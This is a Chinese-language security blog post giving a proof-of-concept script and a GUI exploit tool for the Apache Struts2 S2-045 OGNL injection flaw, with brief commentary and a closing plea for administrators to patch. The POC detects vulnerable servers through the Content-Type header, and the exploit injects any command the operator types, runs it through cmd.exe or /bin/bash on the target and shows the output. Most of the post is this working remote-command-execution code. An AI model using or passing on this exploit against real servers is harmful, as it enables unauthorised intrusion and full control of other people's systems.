struts2 045 poc and exp | LSABLOG

首页 » NetworkSec » Penetration » 正文

struts2 045 poc and exp

POC:

网上看的一个poc:

import requests

import sys
 

def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True
 

    return False


if __name__ == '__main__':

    if len(sys.argv) == 1:

        print "python s2-045.py target"

        sys.exit()

    if poc(sys.argv[1]):

        print "vulnerable"

    else:

        print "not vulnerable"

102*102*102*99=105059592,看了一下这个poc,好像又明白了异常怎么抛出的了,因为poc里不是一开头就是Multipart,而是注入ognl语言。Payload里打印102*102*102*99的值,如果返回的页面有105059592则表明存在st2-045远程命令执行漏洞。

EXP:

网上流传的一个exp:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



class START():

    def __init__(self,root):
        self.root=root
        self.show_W_Text = Text()
        self.show_url_ed = Label(root, text="str2")
        self.edit_url = Entry(root, text="输入地址")
        self.edit_cmd = Entry(root, text="输入cmd")
        self.butt_whois = Button(root, text="检测",command=self.poc)
        self.show_url_ed.pack()
        self.edit_url.pack()
        self.edit_cmd.pack()
        self.butt_whois.pack()
        self.show_W_Text.pack()

    def poc(self):
        w_url = self.edit_url.get()
        w_cmd = self.edit_cmd.get()
        
        text = self.show_W_Text
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + w_cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(w_url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        text.insert(1.0, response)


if __name__ == '__main__':

    root=Tk()
    root.title("str2 045")
    motion=START(root)
    mainloop()

exp大概和poc一样。


友情检测:

希望各网站管理员及时修复,避免不必要的损失。

Comment